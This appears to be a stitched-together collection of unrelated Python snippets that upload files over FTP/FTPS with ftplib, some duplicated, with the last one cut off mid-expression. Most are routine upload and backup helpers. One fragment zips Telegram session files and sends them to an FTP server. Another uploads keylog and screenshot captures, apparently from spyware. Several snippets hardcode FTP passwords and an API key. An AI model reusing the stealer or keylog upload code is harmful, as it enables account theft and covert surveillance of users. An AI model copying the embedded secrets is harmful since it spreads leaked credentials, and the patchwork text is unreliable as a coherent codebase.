def f_sending_order(): global l_selected l = l_selected + [ent_cast.get(), txt_article.get(1.0, END), f_time_now()] with open('client_app_order.pkl', 'wb') as f: pickle.dump(l, f) print('start sending......') try: ftps = FTP_TLS(helpic.place_ftp, helpic.user_ftp, helpic.password_ftp) ftps.cwd('/www/{}'.format(helpic.directory_ftp)) except: showinfo( 'Connection', 'You don\'t have internet conection\n\ or login/pasword were changed') return None sufix = random.randint(1, 1000000) file_name = 'order{}.pkl'.format(sufix) ftps.storbinary('STOR ' + file_name, open('client_app_order.pkl', 'rb')) # загрузка файла НА сервер print('finish sending') ftps.quit() f_get_items_table( ) # getting information from FTP-server and writing in file
def upload(self,path,type,name=None): try: fname = name if name else path.split('\\')[-1] ftps = FTP_TLS(self.host) ftps.login(self.user,self.password) ftps.prot_p() # force encoding to utf-8, this will let us to work with unicode file names ftps.encoding = "utf-8" ftps.cwd(self.user_dir) ftps.cwd(type) if type != 'files': # if type of requested file is screenshot or keylog # upload it to special folder on ftp today = date.today().strftime("%b-%d-%Y") if today not in ftps.nlst(): ftps.mkd(today) ftps.cwd(today) ftps.storbinary('STOR %s' % fname, open(path, 'rb')) return 'Upload Started!' if fname in ftps.nlst(): return 'File Already on FTP' ftps.storbinary('STOR %s' %fname, open(path,'rb')) ftps.close() return 'Upload Started!' except Exception as e: if e.args[0] == 0: return 'Uploaded to FTP!' return 'Upload Failed!'
def Push( FtpServer, Username, Password, uploadlist = FilesToPut, port = 21, passive = False, StartTls = False ): print "Login to %s:%s using %s:%s (%s%s)"%(FtpServer, port, Username, 'xxx', 'passive' if passive else 'active', '/tls' if StartTls else '') if StartTls: ftp = FTP_TLS() else: ftp = FTP() #ftp.set_debuglevel(2) ftp.connect( FtpServer, port ) ftp.login( Username, Password ) # user anonymous, passwd anonymous@ ftp.set_pasv( passive ) if StartTls: ftp.prot_p() for f in uploadlist: print "uploading %s"%f fp = open( f, 'rb') ftp.storbinary('STOR %s'%os.path.basename(f), fp) # send the file ftp.quit()
def doRequest(): # Send the file up to the FTP server print("Upload picture start") ftp = FTP_TLS('individual.utoronto.ca', 'USER', '1PASS.') file = open('data.jpg', 'rb') # file to send ftp.storbinary('STOR data.jpg', file) # send the file file.close() # close file and FTP ftp.quit() print("Upload picture complete") print("Requesting file request") reqUrlA = 'http://api.cloudsightapi.com/image_requests/' # get token reqUrlB = 'http://api.cloudsightapi.com/image_responses/' # get the final recognition result with token headers = { 'Authorization': 'CloudSight 149xzcR0nYPrwThNXVLecQ', } postData = { 'image_request[remote_image_url]': "http://individual.utoronto.ca/timlock/data.jpg", 'image_request[locale]': "en_us", 'image_request[language]': "en" } try: response = requests.post(reqUrlA, headers=headers, params=postData) except Exception, e: print 'Error: connection error, please check your Internet and confirm the image url' print e return ("FAILED")
def doRequest(): # Send the file up to the FTP server print ("Upload picture start") ftp = FTP_TLS('individual.utoronto.ca', 'USER','1PASS.') file = open('data.jpg','rb') # file to send ftp.storbinary('STOR data.jpg', file) # send the file file.close() # close file and FTP ftp.quit() print ("Upload picture complete") print ("Requesting file request") reqUrlA = 'http://api.cloudsightapi.com/image_requests/' # get token reqUrlB = 'http://api.cloudsightapi.com/image_responses/' # get the final recognition result with token headers = { 'Authorization' : 'CloudSight 149xzcR0nYPrwThNXVLecQ', } postData = { 'image_request[remote_image_url]' : "http://individual.utoronto.ca/timlock/data.jpg", 'image_request[locale]': "en_us", 'image_request[language]': "en" } try: response = requests.post(reqUrlA, headers=headers, params=postData) except Exception, e: print 'Error: connection error, please check your Internet and confirm the image url' print e return ("FAILED")
def sendPackagesFtp(): print "---- Send packages by FTP" global serverFtp global userFtp global passFtp from ftplib import FTP_TLS ftps = FTP_TLS(serverFtp) ftps.set_debuglevel(1) ftps.login(userFtp, passFtp) ftps.prot_p() try: ftps.sendcmd('MKD ' + '/files/' + strProductVer) except Exception: print 'Directory already exists' ftps.cwd('/files/' + strProductVer) filesListFtp = ftps.nlst() filesList = os.listdir(packagesPath) newFilesList = [e for e in filesList if not(e in filesListFtp)] for fileName in newFilesList: ftps.storbinary('STOR ' + fileName, open(packagesPath + '\\' + fileName, 'rb')) ftps.quit()
def upload_to_ftp(root_dir, upload_path): ftp = FTP_TLS() ftp.connect(host, port) ftp.set_debuglevel(2) ftp.login("account_id", "account_password") files, directories = get_list_local(upload_path) directory_name = os.path.dirname(upload_path) directory_name = os.path.basename(directory_name) root_dir = root_dir + directory_name + "/" directories.insert(0, "") for directory in directories: path = directory.replace(upload_path, "").replace("\\", "/") path = root_dir + path # for fName in ftp.nlst(): # print(fName) # if folderName in ftp.nlst(): # continue try: ftp.mkd(path) except: continue print("Make directory is " + path) for file in files: path = file.replace(upload_path, "").replace("\\", "/") with open(file, "rb") as localfile: path = root_dir + path ftp.storbinary('STOR ' + path, localfile) print("Upload file is " + path) print("done upload")
def check_ftps(hostname, temp_name, username, password, verbose): ftps_services_failed = [] if verbose: print("-" * 60) if verbose: print(temp_name) ftps = FTP_TLS(hostname) ftps.login(username, password) ftps.prot_p() #ftps.retrlines('LIST') if verbose: ftps.set_debuglevel(2) # Upload the file if verbose: print("FTPS: Uploading the file.") try: ftps.storbinary('STOR {0}'.format('ftps.txt'), open(temp_name, 'rb')) except: if verbose: print("FTPS: Uploading the file failed.") ftps_services_failed.append('ftps_upload') else: if verbose: print("FTPS: Uploaded file successfully.") pass # Download the file if verbose: print("FTPS: Downloading the file.") try: myfile = open('/tmp/ftps.txt', 'wb') ftps.retrbinary('RETR {0}'.format('ftps.txt'), myfile.write) except: if verbose: print("FTPS: Downloading the uploaded file failed.") ftps_services_failed.append('ftps_download') else: if verbose: print("FTPS: Downloaded the uploaded file successfully.") # Delete the file from remote system try: ftps.delete('ftps.txt') except: if verbose: print("FTPS: Deleting uploaded file failed.") ftps_services_failed.append('ftps_delete') else: if verbose: print("FTPS: Deleted the uploaded file successfully.") pass # Close the ftps connection. ftps.close() # Detel the file which is downloaded delete_temp_file('/tmp/ftps.txt', verbose) return ftps_services_failed
def send(self): ftp = FTP(self.ftp_destination) ftp.set_debuglevel(2) ftp.ssl_version = ssl.PROTOCOL_TLSv1_2 ftp.login() ftp.cwd("upload") ftp.prot_p() self.zip.close() self.zip_contents.seek(0) ftp.storbinary("STOR {}".format(self.zip_contents.name), self.zip_contents)
def sftp(filename,filesource): try: filename=thename+filename ft = FTP_TLS(theserver) ft.login(userper,thepast) #filename="sent.txt" fn=open(filesource,"rb") ft.storbinary('STOR '+filename,fn) ft.quit() fn.close() except Exception as e: ohno = e
def ftpUpload(filename): from ftplib import FTP_TLS import os ftps = FTP_TLS() ftps.connect('pwcrack.init6.me', '21') ftps.auth() ftps.login('DC214', 'passwordcrackingcontest') ftps.prot_p() ftps.set_pasv(True) local_file = open(filename, 'rb') ftps.storbinary('STOR '+filename, local_file)
def upload_xml(): ftps = FTP_TLS(cfg.BING_IP_ADDRESS) ftps.connect() ftps.login(cfg.BING_FTP_USERNAME, cfg.BING_FTP_PASSWORD) ftps.getwelcome() # Add upload code here storbinary() file = open('bing.txt', 'rb') ftps.storbinary('STOR ' + 'bing.txt', file) file.close() ftps.quit()
def file_ftps(host,un,pw,ftp_filename,source_filename): try: ftps = FTP_TLS(host) ftps.auth_tls() ftps.login(un,pw) ftps.prot_p() ftps.storbinary("STOR " + ftp_filename, file(source_filename, "rb")) ftps.quit() except ftplib.all_errors, error: print 'Error:', str(error) logging.info(mydate+ ' - '+'FTPS Error Encountered: '+ str(error)) sys.exit(0)
def upload_file_tls(host, user, password, local_path, remote_path, timeout=None): ftp = FTP_TLS(host=host, user=user, passwd=password, timeout=timeout) ftp.prot_p() local_file = open(local_path, 'rb') ftp.storbinary('STOR {}'.format(remote_path), local_file) local_file.close() ftp.quit()
def ftpUpload(filename): from ftplib import FTP_TLS import os ftps = FTP_TLS() ftps.connect('pwcrack.init6.me', '21') ftps.auth() ftps.login('DC214', 'passwordcrackingcontest') ftps.prot_p() ftps.set_pasv(True) local_file = open(filename, 'rb') ftps.storbinary('STOR ' + filename, local_file)
def upload_file(): if request.method == 'POST': # check if the post request has the file part if 'file' not in request.files: flash('No file part') return redirect(request.url) file = request.files['file'] # if filename is empty if file.filename == '': flash('No file selected for uploading') return redirect(request.url) # if file is available and have extension of mp4, avi, webm is saved in proect directory if file and allowed_file(file.filename): filename = secure_filename(file.filename) # saving the video file file.save(filename) flash('File successfully uploaded') secure = request.form['secure'] if secure == "FTP": ftp = FTP() ftp.connect('localhost', 21) status = ftp.login('testuser1', 'testuser') print("FTP Connected", status) fp = open(filename, 'rb') ftp.storbinary('STOR %s' % os.path.basename(filename), fp, 1024) return render_template('success.html', name=filename) elif secure == "FTP TLS": ftps = FTP_TLS('localhost') ftps.set_debuglevel(2) ftps.login('testuser1', 'testuser') ftps.set_pasv(False) ftps.prot_p() fp = open(filename, 'rb') ftps.storbinary('STOR %s' % os.path.basename(filename), fp, 1024) return render_template('success.html', name=filename) else: flash('Allowed file types are txt, pdf, png, jpg, jpeg, gif') # return to the same page return redirect(request.url)
def Push( FtpServer, Username, Password, uploadlist = FilesToPut, port = 21, passive = False, StartTls = False, Sftp = False ): print "Login to %s:%s using %s:%s (%s%s)"%(FtpServer, port, Username, 'xxx', 'passive' if passive else 'active', '/tls' if StartTls else '') if Sftp: paramiko.util.log_to_file('/tmp/paramiko.log') transport = paramiko.Transport((FtpServer,int(port))) transport.connect(username = Username, password = Password) sftp = paramiko.SFTPClient.from_transport(transport) print "Uploading file" filepath = '../php/basedata.php' localpath = 'basedata.php' sftp.put(filepath, localpath) sftp.close() transport.close() else: if StartTls: ftp = FTP_TLS() else: ftp = FTP() ftp.connect( FtpServer, port ) ftp.login( Username, Password) ftp.set_pasv( passive ) if StartTls: ftp.prot_p() for f in uploadlist: print "uploading %s"%f fp = open( f, 'rb') ftp.storbinary('STOR %s'%os.path.basename(f), fp) # send the file ftp.quit() if __name__ == "__main__": if len(sys.argv) < 5: print >> sys.stderr, "usage %s <server> <port> <username> <password>"%sys.argv[0] exit( 1 ) FtpServer = sys.argv[1] Port = sys.argv[2] Username = sys.argv[3] Passwd = sys.argv[4] Push( FtpServer, Username, Passwd, port = Port ) print >> sys.stderr, "Done"
def send_to_ftp(self, start=None, stop=None): now = self.datetime_localized(fields.Datetime.now(self)) start = start or now.replace(hour=0, minute=0, second=0) stop = stop or start + timedelta(days=1) host = self.env.user.company_id.ftp_host port = self.env.user.company_id.ftp_port user = self.env.user.company_id.ftp_user passwd = self.env.user.company_id.ftp_passwd ftp_tls = False ftp = FTP_TLS() if ftp_tls else FTP() try: ftp.connect(host, port) ftp.login(user, passwd) except: _logger.error('Unable to reach FTP server') else: stocklocations = self.get_stocklocations_file() mtsskus = self.get_mtsskus_file() transactions = self.get_transactions_file(str(start), str(stop)) status = self.get_status_file() ftp.storbinary('STOR ' + stocklocations[0], BytesIO(stocklocations[1])) ftp.storbinary('STOR ' + mtsskus[0], BytesIO(mtsskus[1])) ftp.storbinary('STOR ' + transactions[0], BytesIO(transactions[1])) ftp.storbinary('STOR ' + status[0], BytesIO(status[1])) finally: ftp.close()
def sendUpdateFilesFtp(): print "---- Send update files by FTP" global serverFtp global userFtp global passFtp from ftplib import FTP_TLS ftps = FTP_TLS(serverFtp) ftps.set_debuglevel(1) ftps.login(userFtp, passFtp) ftps.prot_p() ftps.cwd('/files/updates') ftps.storbinary('STOR ' + 'file_list.md5', open(quiterssFileRepoPath + '\\file_list.md5', 'rb')) ftps.storbinary('STOR ' + 'VersionNo.h', open(quiterssSourcePath + '\\src\\VersionNo.h', 'rb')) ftps.storbinary('STOR ' + 'HISTORY_EN', open(quiterssSourcePath + '\\HISTORY_EN', 'rb')) ftps.storbinary('STOR ' + 'HISTORY_RU', open(quiterssSourcePath + '\\HISTORY_RU', 'rb')) prepareFileList7z = [] for file in prepareFileList: prepareFileList7z.append(file + '.7z') for fileName in prepareFileList7z: ftps.storbinary('STOR ' + 'windows' + fileName.replace('\\','/'), open(quiterssFileRepoPath + '\\windows' + fileName, 'rb')) ftps.quit()
def save_file_with_name(recording_url, auth_method, save_name): '''save a VM from twilio, specify a filename, NOT USED''' # we are now using HTTP basic auth to do the downloads # step 0 - open up a FTP session with HIPAA box session = FTP_TLS('ftp.box.com', box_username, box_password) # step 1 - open a request to get the voicemail using a secure channel with Twilio response = requests.get( recording_url, stream=True, auth=auth_method) # no data has been downloaded yet (just headers) # step 2 - read the response object in chunks and write it to the HIPAA box directly session.storbinary('STOR recordings/' + save_name, response.raw) # step 3 - cleanup session.quit() del response return save_name
def uploadToFtp(filename): host = "88.122.218.102" # adresse du serveur FTP user = "******" # votre identifiant password = "******" # votre mot de passe port = 49153 ftps = FTP_TLS() ftps.connect(host, port) ftps.login(user, password) ftps.encoding = "utf-8" ftps.cwd("Disque dur") ftps.cwd("static") with open('/static/'+filename, "rb") as file: ftps.storbinary(f"STOR {filename}", file) ftps.quit()
def _upload_qr_code_ftp(code_filename): """ TODO: 1. Remove DRY code around code_fullpath """ code_fullpath = _get_environ_var( 'GENERATED_CODES_DIRECTORY') + code_filename with open(code_fullpath, 'rb') as fp: ftps = FTP_TLS(_get_environ_var('FTP_HOST')) ftps.login(_get_environ_var('FTP_USERNAME'), _get_environ_var('FTP_PASSWORD')) ftps.prot_p() ftps.cwd(_get_environ_var('FTP_DIRECTORY')) ftps.storbinary('STOR ' + code_filename, fp) ftps.quit()
def ftp_files(domain, remote_paths, local_paths, direction, secure=True): ftp = FTP_TLS(domain) if secure else FTP(domain) ftp.login(prompt_usr(), prompt_pw()) if secure: ftp.prot_p() for remote_path, local_path in zip(remote_paths, local_paths): if direction.lower() == 'up': ftp.storbinary('STOR ' + remote_path, open(local_path, 'rb')) elif direction.lower() == 'down': ftp.retrbinary('RETR ' + remote_path, open(local_path, 'wb').write) else: raise Exception('Invalid direction: ' + direction) ftp.quit()
def upload_archive_file(self, local_filename, remote_filename, target_dir): yield("Uploading {} to FTP in directory: {}, filename: {}".format(local_filename, target_dir, remote_filename)) local_filesize = os.stat(local_filename).st_size self.upload_total = os.stat(local_filename).st_size self.upload_current = 0 if self.settings.ftps['no_certificate_check']: context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2) context.verify_mode = ssl.CERT_NONE context.check_hostname = False else: context = ssl.create_default_context() ftps = FTP_TLS( host=self.settings.ftps['address'], user=self.settings.ftps['user'], passwd=self.settings.ftps['passwd'], context=context, source_address=self.settings.ftps[ 'source_address'], timeout=self.settings.timeout_timer ) ftps.cwd(target_dir) ftps.encoding = 'utf8' ftps.prot_p() for line in ftps.mlsd(facts=["size"]): if(line[0] == remote_filename and local_filesize == int(line[1]["size"])): yield("File exists and size is equal.") ftps.close() return with open(local_filename, "rb") as file: for retry_count in range(3): try: ftps.storbinary( 'STOR %s' % remote_filename, file, callback=lambda data, args=self.print_method: self.print_progress(data, args) ) except (ConnectionResetError, socket.timeout, TimeoutError): yield("Upload failed, retrying...") else: break yield("\nFile uploaded.") ftps.close()
def store_file(self, temp_path: str) -> str: conn = FTP_TLS(host=self.ftp_host) conn.set_debuglevel(2) conn.login( user=self.ftp_user, passwd=self.ftp_pass, ) conn.prot_p() ext = temp_path.split('.')[-1] file_name = f'{str(uuid4())}.{ext}' storage_path = f'{self.static_folder}/{file_name}' with open(temp_path, 'rb') as f: conn.storbinary(f'STOR {storage_path}', f) conn.quit() return f'https://{self.ftp_host}/sera/{file_name}'
def ftpUpload(filename, system): from ftplib import FTP_TLS import os if os.path.isfile(filename): zipFilename = compressit(filename, system) ftps = FTP_TLS() ftps.connect('pwcrack.init6.me', '21') ftps.auth() ftps.login('DC214', 'passwordcrackingcontest') ftps.prot_p() ftps.set_pasv(True) local_file = open(zipFilename, 'rb') ftps.storbinary('STOR ' + zipFilename, local_file) print "file %s has been uploaded." % zipFilename return True
def ftpUpload(filename, system): from ftplib import FTP_TLS import os if os.path.isfile(filename): zipFilename = compressit(filename, system) ftps = FTP_TLS() ftps.connect('pwcrack.init6.me', '21') ftps.auth() ftps.login('DC214', 'passwordcrackingcontest') ftps.prot_p() ftps.set_pasv(True) local_file = open(zipFilename, 'rb') ftps.storbinary('STOR '+zipFilename, local_file) print "file %s has been uploaded." % zipFilename return True
def connect(velkost_ftp,port): ftp=FTP_TLS(server,meno2,ps,port) ftp.prot_p() ftp.cwd(my_list[2]) print "Posielam subor. Cakajte prosim." obsah=open(file_to_send, 'rb') obsah.close() ftp.storbinary('STOR %s' % file_to_send, open(file_to_send, 'rb')) obsah.close() print "Subor odoslany [OK]" print "Obsah adresara na serveri:" ftp.retrlines("LIST") size_ftp=ftp.nlst() pocet=len(size_ftp) velkost_ftp_subor=size_ftp[pocet-1] #berie posledne pridany subor zo zoznamu ftp.sendcmd("TYPE i") velkost_ftp=ftp.size(velkost_ftp_subor) ftp.close() return velkost_ftp
def uploadFilesToFTP(ftpURL, ftpUser, ftpPassword, ftpPath, localPath, filematch, historyBackupPath): ftps = FTP_TLS(ftpURL) ftps.set_debuglevel(1) ftps.set_pasv(False) ftps.connect(port=21, timeout=80) ftps.login(ftpUser, ftpPassword) ftps.prot_p() ftps.ccc() try: ftps.cwd(ftpPath) except Exception: ftps.mkd(ftpPath) for (localPathDir, _, files) in os.walk(localPath): newdir = ftpPath try: ftps.cwd(newdir) except Exception: ftps.mkd(newdir) LOGGER.info("filematch=" + filematch) for f in fnmatch.filter(files, filematch): fileLocalPath = os.path.join(localPathDir, f) file = open(fileLocalPath, 'rb') ftps.storbinary('STOR ' + f, file, blocksize=8192) file.close() LOGGER.info("Fichero transferido #:# " + fileLocalPath) sleep(1) now = datetime.datetime.now() historyBackupPathYear = os.path.join(historyBackupPath, str(now.year)) try: os.stat(historyBackupPathYear) except: os.mkdir(historyBackupPathYear) moveFilesUUID(fileLocalPath, historyBackupPathYear) ftps.close()
def upload_file(host, port, user, passwd, file_name, local_file): success = True ftp = FTP_TLS() try: ftp.connect(host=host, port=port) ftp.login(user=user, passwd=passwd) ftp.prot_p() ftp.cwd("FTP") file_handle = open(local_file, "rb") ftp.storbinary("STOR {0}".format(file_name), file_handle) ftp.close() file_handle.close() except Exception as ex: print ex success = False except error_perm as ex: print ex success = False finally: return success
def recibir(self): file = self.request.files['file'] nombre = self.params['nombre'] descripcion = self.params['descripcion'] extension = file.filename.split('.') extension = extension[len(extension) - 1] archivo = self.generar_nombre_no_repetido(extension) file.save(os.path.join('/tmp/', archivo)) ftps = FTP_TLS() ftps.connect('192.168.1.26') ftps.sendcmd('USER ftp_user') ftps.sendcmd('PASS ftp_user') ftps.storbinary("STOR " + archivo, open('/tmp/' + archivo, 'rb')) id_generado = self.registrar_en_db(nombre, descripcion, archivo, extension) #ftps.retrlines('LIST') ftps.quit() return id_generado
def uploadToFtp(fileList, remoteDir, host, user, password): """ :type fileList: list :type remoteDir: basestring :type host: basestring :type user: basestring :type password: basestring """ ftps = FTP_TLS(host) ftps.sendcmd('USER %s' % user) ftps.sendcmd('PASS %s' % password) for fileItem in fileList: fileName = os.path.split(fileItem)[1] remoteFilePath = os.path.join(remoteDir, fileName) print('Uploading file [{0}] to ftp at [{1}]'.format(fileName, remoteFilePath)) ftps.storbinary('STOR {0}'.format(remoteFilePath), open(fileItem)) print('Done.') ftps.quit()
def upload_files(self): if configBackup["FTP_BACKUP"]: # Check to make server is up, if yes back up files! Test s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) try: s.connect((configBackup["FTP_HOST"], 21)) listdir = os.listdir(configBackup["TMP_FOLDER"]) ftps = FTP_TLS(configBackup["FTP_HOST"]) ftps.login(configBackup["FTP_USER"], configBackup["FTP_PASSWORD"]) ftps.set_pasv(True) for item in listdir: print('Upload: ' + item) ftps.storbinary( 'STOR ' + item, open(configBackup["TMP_FOLDER"] + item, 'rb'), 1024) ftps.quit() except socket.error as e: print("Error on connect") s.close() if configBackup["SFTP_BACKUP"]: try: listdir = os.listdir(configBackup["TMP_FOLDER"]) with pysftp.Connection( configBackup["SFTP_HOST"], username=configBackup["SFTP_USER"], password=configBackup["SFTP_PASSWORD"]) as sftp: for item in listdir: print('Upload: ' + item) sftp.put(configBackup["TMP_FOLDER"] + item) except socket.error as e: print('Error on connect')
def TakePicture(): camera = PiCamera() filename = 'PhotoCommand.jpeg' #name of file if ".jpeg" in filename: camera.capture("/home/pi/CSCI-121/Webserver_jazz/" + filename) else: camera.start_recording("/home/pi/CSCI-121/Webserver_jazz/" + filename) sleep(5) camera.stop_recording() #---MOVES FILE TO DIRECTORY ON WEBSERVER---# #---TRANSFERS FILE TO WEBSERVER---# session = FTP_TLS('files.000webhost.com', 'vulcuns-webserver', 'AKPJJDT2lol') #ftp for webserver #login# file = open("/home/pi/CSCI-121/Webserver_jazz/" + filename, 'rb') #open the data from the file session.cwd('public_html/images') #directory of images session.storbinary('STOR ' + filename, file) #stores the file in current directory file.close() #closes the file session.quit() #logs out of webserver ftp connection
class ftpc(object): def __init__(self, ip, port): assert ip != None assert port != None self.ip = ip self.port = port def start(self): self.ftpc = FTP_TLS(timeout=5.0) self.ftpc.connect(self.ip, int(self.port)) self.ftpc.login('asuka', 'meowmeowmeow') def stop(self): self.ftpc.quit() def upload(self, path): try: with open(path, 'rb') as f: self.start() fileName = os.path.split(path)[-1] self.ftpc.storbinary('STOR %s' % fileName, f, 8192) self.stop() except Exception as e: print(e)
def push_file(file_to_sync): ftp = FTP_TLS(server) logger.info(f"Attempting ftp connection to {server}") try: ftp.login(user=user, passwd=passwd) ftp.prot_p() logger.info(f"ftp connect SUCCESS: {ftp.welcome}") ftp.cwd(remote_dir_path) with open(file_to_sync, "rb") as localfile: status = ftp.storbinary(f"STOR {file_to_sync}", localfile) logger.info(f"Attempting to updload {file_to_sync}: {status}") except Exception as e: logger.error(f"ftp connection FAILED: {e}") finally: ftp.quit() logger.info("ftp connection closed")
class FTPSession(object): """ Attempt to create some robustness and performance to FTPing """ def __init__(self, server, username, password, tmpdir="/tmp", timeout=60): """Build a FTP session """ self.conn = None self.server = server self.username = username self.password = password self.tmpdir = tmpdir self.timeout = timeout def _connect(self): """Connect to FTP server """ if self.conn is not None: return logging.debug("Creating new connection to server %s", self.server) not_connected = True attempt = 1 while not_connected and attempt < 6: try: self.conn = FTP_TLS(self.server, timeout=self.timeout) self.conn.login(self.username, self.password) self.conn.prot_p() not_connected = False except Exception as exp: logging.debug(exp) time.sleep(5) self.close() attempt += 1 if not_connected is True: raise Exception("Failed to make FTP connection after 5 tries!") def _reconnect(self): """ First attempt to shut down connection and then reconnect """ logging.debug("_reconnect() was called...") try: self.conn.quit() self.conn.close() except: pass finally: self.conn = None self._connect() def _put(self, path, localfn, remotefn): """ """ self.chdir(path) sz = os.path.getsize(localfn) if sz > 14000000000: # Step 1 Split this big file into 14GB chunks, each file will have # suffix .aa then .ab then .ac etc basefn = os.path.basename(localfn) cmd = "split --bytes=14000M %s %s/%s." % (localfn, self.tmpdir, basefn) subprocess.call(cmd, shell=True, stderr=subprocess.PIPE) files = glob.glob("%s/%s.??" % (self.tmpdir, basefn)) for filename in files: suffix = filename.split(".")[-1] self.conn.storbinary("STOR %s.%s" % (remotefn, suffix), open(filename)) os.unlink(filename) else: logging.debug("_put '%s' to '%s'", localfn, remotefn) self.conn.storbinary("STOR %s" % (remotefn,), open(localfn)) return True def close(self): """ Good bye """ try: self.conn.quit() self.conn.close() except: pass finally: self.conn = None def chdir(self, path): if self.pwd() == path.rstrip("/"): return self.conn.cwd("/") for dirname in path.split("/"): if dirname == "": continue bah = [] self.conn.retrlines("NLST", bah.append) if dirname not in bah: logging.debug("Creating directory '%s'", dirname) self.conn.mkd(dirname) logging.debug("Changing to directory '%s'", dirname) self.conn.cwd(dirname) def pwd(self): """ Low friction function to get connectivity """ self._connect() pwd = exponential_backoff(self.conn.pwd) if pwd is None: self._reconnect() pwd = exponential_backoff(self.conn.pwd) logging.debug("pwd() is currently '%s'", pwd) return pwd def put_file(self, path, localfn, remotefn): """ Put the File """ res = exponential_backoff(self._put, path, localfn, remotefn) if not res: self._reconnect() res = exponential_backoff(self._put, path, localfn, remotefn) if not res: logging.error("Double Failure to upload filename: '%s'", localfn) def put_files(self, path, localfns, remotefns): """ Put the File """ for localfn, remotefn in zip(localfns, remotefns): self.put_file(path, localfn, remotefn)
file1 = teleg + '\\' + file1 file2 = teleg + '\\D877F783D5D3EF8C\\' + file2 attch = [] attch.append(file1) attch.append(file2) zippy = ZipFile(zipp, 'w') for file in attch: print(file) zippy.write(file) zippy.close() except Exception as e: pass str1 = '123456789' str2 = 'qwertyuiopasdfghjklzxcvbnm' str3 = str2.upper() str4 = str1 + str2 + str3 ls = list(str4) random.shuffle(ls) randomstr = ''.join([random.choice(ls) for x in range(10)]) telega = randomstr + '.teleg.zip.txt' try: ftp.storbinary('STOR ' + telega, open(zipp, 'rb')) except Exception as e: pass ftp.close()
title = lead[0] #print url this_title = title["title"] this_url = url["url"] #print this_url leads_with_keywords[current_url_number] = [] leads_with_keywords[current_url_number].append( {'title': this_title}) leads_with_keywords[current_url_number].append( {'url': this_url}) current_url_number += 1 break current_lead_number += 1 with open('out2_lead.json', 'w') as outfile: json.dump(leads_with_keywords, outfile) exit ftp = FTP_TLS() ftp.set_debuglevel(2) ftp.connect('0000', 0000) ftp.sendcmd("USER user") ftp.sendcmd("PASS password") file = open('out2_lead.json', 'rb') ftp.storbinary('STOR out2_lead.json', file) file.close() ftp.close() os.remove("lead2.json") os.remove("out2_lead.json")
class ServerWatcher(Watcher): downloadProgress = Signal((int, int,)) uploadProgress = Signal((int, int,)) # Si added: textStatus = Signal((str,)) fileEvent = Signal((str,)) fileEventCompleted = Signal() loginCompleted = Signal((bool, str,)) badFilenameFound = Signal((str,)) LOCATION = 'server' TEST_FILE = 'iqbox.test' def __init__(self, host, ssl, parent=None): """ Initializes parent class and attributes. Decides whether to use `FTP_TLS` or `FTP` based on the `ssl` param. :param host: Location of the FTP server :param ssl: Tells whether the FTP needs to support TLS or not :param parent: Reference to a `QObject` instance a parent """ super(ServerWatcher, self).__init__(parent) self.interval = 5000 self.localdir = '' self.deleteQueue = [] self.downloadQueue = [] self.uploadQueue = [] self.warnedNames = [] self.ftp = None self.useSSL = ssl self.host = host self.preemptiveCheck = False self.preemptiveActions = [] self.testFile = 'iqbox.test' @property def currentdir(self): """Returns the current working directory at the server""" return self.ftp.pwd() def setLocalDir(self, localdir): """ Sets the local directory used to stored all downloaded files. Creates the directory if needed. :param localdir: Absolute path to local directory """ self.localdir = localdir if not os.path.exists(self.localdir): os.makedirs(self.localdir) @pause_timer @Slot() def checkout(self): """ Recursively checks out all files on the server. Returns a dictionary of files on the server with their last modified date. :param download: Indicates whether or not the files should be downloaded """ # Check `self.deleteQueue`, `self.uploadQueue` and `self.downloadQueue` queues. # These tasks are done in queues to make sure all FTP commands # are done sequentially, in the same thread. self.deleteAll() self.uploadAll() self.downloadAll() # Handy list to keep track of the checkout process. # This list contain absolute paths only. checked_dirs = list() # Sets '/' as initial directory and initializes `downloading_dir` self.ftp.cwd('/') downloading_dir = self.currentdir check_date = dt.utcnow() sidirlist = list() root_cached = False fileC = 0 while True: # Gets the list of sub directories and files inside the # current directory `downloading_dir`. self.textStatus.emit('Remote scan- Downloading folder list of '+downloading_dir+'...') if root_cached and downloading_dir == '/': dir_subdirs = saved_root_dirs dirfiles = saved_root_files else: dir_subdirs = self.getDirs(downloading_dir) if downloading_dir == '/': saved_root_dirs = dir_subdirs # sidirlist.extend(dir_subdirs) self.textStatus.emit('Remote scan- Downloading files list of '+downloading_dir+'...') dirfiles = self.getFiles(downloading_dir) if downloading_dir == '/': saved_root_files = dirfiles root_cached = True # Leading '/' in `downloading_dir` breaks the `os.path.join` call localdir = os.path.join(self.localdir, downloading_dir[1:]) if not os.path.exists(localdir): # Creates the directory if it doesn't already exists. os.makedirs(localdir) for file_ in dirfiles: # `serverpath` is the absolute path of the file on the server, # download it only if it hasn't been already downloaded serverpath = os.path.join(downloading_dir, file_) serverpath = QDir.fromNativeSeparators(serverpath) server_file = File.fromPath(serverpath) self.textStatus.emit('Scanning remote file... '+serverpath+'...') # How do we know if we should check this server file? # We see if the date last checked is the check start time. if server_file.last_checked_server != check_date: # Do this process only once per file # Added by Simon # Give feedback on scanning of files. fileC += 1 if fileC % 1 == 2: self.textStatus.emit('Scanning remote files for changes, '+str(fileC)+' files scanned.') # STEP: IS THIS THE FIRST TIME WE SAW THE FILE, OR WAS IT ALREADY IN OUR DB? just_added = not server_file.inserver # STEP: IF ITS A NEW FILE, ENSURE WE DONT WANT TO SKIP IT # Example: If it's a temporary file, or a Unix file with a name we don't support. if just_added: filename = os.path.basename(serverpath) if platform.system() == 'Windows': badName = False for chr in ['\\', '/', ':', '?', '"', '<', '>', '|']: if chr in filename: badName = True break if badName: if filename not in self.warnedNames: self.warnedNames.append(filename) self.badFilenameFound.emit(filename) continue # STEP: ASSUMING THE FILE DID EXIST IN OUR DB, LETS SAVE THE LAST MODIFICATION DATE lastmdate = server_file.servermdate # STEP: SAVE THE MOD DATE TO A VARIABLE # Now we get the last mod time. # We expect this to work fine since this file # was found on the server servermdate = self.lastModified(serverpath) # STEP: SET BOOL SHOWING THAT IT WAS ON THE SERVER, SINCE WE KNOW IT IS. server_file.inserver = True # STEP: SET THE TIME THE FILE WAS LAST CHECKED TO THE SCAN START TIME server_file.last_checked_server = check_date # STEP: SET THE MOD DATE IN THE DATABASE TO THE ONE WE JUST GOT server_file.servermdate = servermdate # STEP: SAVE THIS CHANGE TO THE DATABASE server_file.session.commit() delta = 0 if server_file.inlocal: delta = server_file.timeDiff() # Emit the signals after the attributes has been set and committed if just_added is True: self.fileAdded.emit(ServerWatcher.LOCATION, serverpath) elif server_file.servermdate > lastmdate or delta < 